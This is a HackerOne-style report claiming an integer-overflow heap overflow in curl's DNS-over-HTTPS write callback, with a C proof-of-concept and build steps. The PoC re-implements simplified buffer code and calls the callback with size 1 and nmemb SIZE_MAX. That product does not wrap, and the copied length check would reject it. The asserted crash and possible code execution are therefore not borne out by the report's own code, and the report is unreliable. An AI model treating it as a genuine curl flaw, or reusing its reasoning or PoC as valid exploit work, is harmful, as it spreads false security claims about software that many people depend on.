HACKERONE

curl: Integer Overflow to Heap Overflow in DoH Response Handling_H1:3399774

Description

## Summary:
An integer overflow vulnerability exists in the `doh_probe_write_cb` function in `lib/doh.c`. This function is used as a write callback for DNS-over-HTTPS (DoH) responses. When a malicious DoH server sends a response with a crafted size, the multiplication of `size` and `nmemb` can overflow. This leads to the allocation of a smaller-than-expected buffer on the heap, but the function returns the wrapped-around, incorrect size. This discrepancy can lead to a heap overflow when the caller subsequently tries to access the buffer, resulting in a crash or potential arbitrary code execution.

## Affected version
This vulnerability was found on the current master branch of the curl repository. It can be reproduced on a standard Linux build.

## Steps To Reproduce:
1. Save the following Proof-of-Concept code as `poc.c` in the root of the curl project directory:
```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define CURL_STATICLIB
#include <curl/curl.h>

// --- From curl/lib/curlx/dynbuf.h ---
struct dynbuf {
char *bufr;
size_t leng;
size_t allc;
size_t toobig;
};

#define DYN_DOH_RESPONSE 3000

// --- From curl/lib/curlx/dynbuf.c ---
void curlx_dyn_init(struct dynbuf *s, size_t toobig)
{
s->bufr = NULL;
s->leng = 0;
s->allc = 0;
s->toobig = toobig;
}

void curlx_dyn_free(struct dynbuf *s)
{
free(s->bufr);
s->bufr = NULL;
s->leng = 0;
s->allc = 0;
}

CURLcode dyn_nappend(struct dynbuf *s, const unsigned char *mem, size_t len)
{
size_t idx = s->leng;
size_t a = s->allc;
size_t fit = len + idx + 1;

if(len > s->toobig - idx - 1) { // check for overflow before addition
return CURLE_TOO_LARGE;
}

if(!a) {
a = fit;
}
else {
while(a < fit)
a *= 2;
}

if(a != s->allc) {
void *p = realloc(s->bufr, a);
if(!p) {
curlx_dyn_free(s);
return CURLE_OUT_OF_MEMORY;
}
s->bufr = p;
s->allc = a;
}

if(len)
memcpy(&s->bufr[idx], mem, len);
s->leng = idx + len;
s->bufr[s->leng] = 0;
return CURLE_OK;
}

CURLcode curlx_dyn_addn(struct dynbuf *s, const void *mem, size_t len)
{
return dyn_nappend(s, (const unsigned char *)mem, len);
}

size_t curlx_dyn_len(const struct dynbuf *s)
{
return s->leng;
}

// --- From curl/lib/doh.h ---
struct doh_request {
unsigned char req_body[256 + 16];
void *req_hds;
struct dynbuf resp_body;
size_t req_body_len;
int dnstype;
};

// This is a copy of the vulnerable function from doh.c
size_t doh_probe_write_cb(char *contents, size_t size, size_t nmemb, void *userp)
{
size_t realsize = size * nmemb;
struct doh_request *doh_req = (struct doh_request *)userp;

if(!doh_req)
return -1; // CURL_WRITEFUNC_ERROR

// The vulnerability is that curlx_dyn_addn is called with a wrapped-around
// realsize, which can be very large. This PoC will crash here.
if(curlx_dyn_addn(&doh_req->resp_body, contents, realsize))
return 0;

return realsize;
}

int main(void)
{
struct doh_request doh_req;
size_t size = 1;
size_t nmemb = (size_t)-1; // This will cause an integer overflow
char *contents = "A";

printf("Simulating a call to doh_probe_write_cb with:\n");
printf("size = %zu\n", size);
printf("nmemb = %zu\n", nmemb);

// Initialize the dynamic buffer
curlx_dyn_init(&doh_req.resp_body, DYN_DOH_RESPONSE);

// This call will crash, demonstrating the vulnerability.
doh_probe_write_cb(contents, size, nmemb, &doh_req);

// This part will not be reached.
printf("This message should not be printed.\n");
curlx_dyn_free(&doh_req.resp_body);

return 0;
}
```
2. Compile the PoC with the following command:
```bash
gcc -o poc poc.c -lcurl
```
3. Run the PoC:
```bash
./poc
```
4. Observe the output and the crash. The program will crash with a segmentation fault, which demonstrates the vulnerability.

## Supporting Material/References:
* Vulnerable source code: `lib/doh.c` (function `doh_probe_write_cb`)
* `lib/doh.h`
* `lib/curlx/dynbuf.h`
* `lib/curlx/dynbuf.c`

## Impact

## Summary
An attacker who can control a malicious DoH server can exploit this vulnerability to cause a heap overflow in the libcurl client application. This can lead to a denial of service (crash) or, potentially, arbitrary code execution in the context of the application using libcurl. Given the widespread use of libcurl, the impact of this vulnerability is high.
Visit Original Source

Basic Information

ID H1:3399774
Published Oct 25, 2025 at 20:12
Modified Oct 25, 2025 at 22:04

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.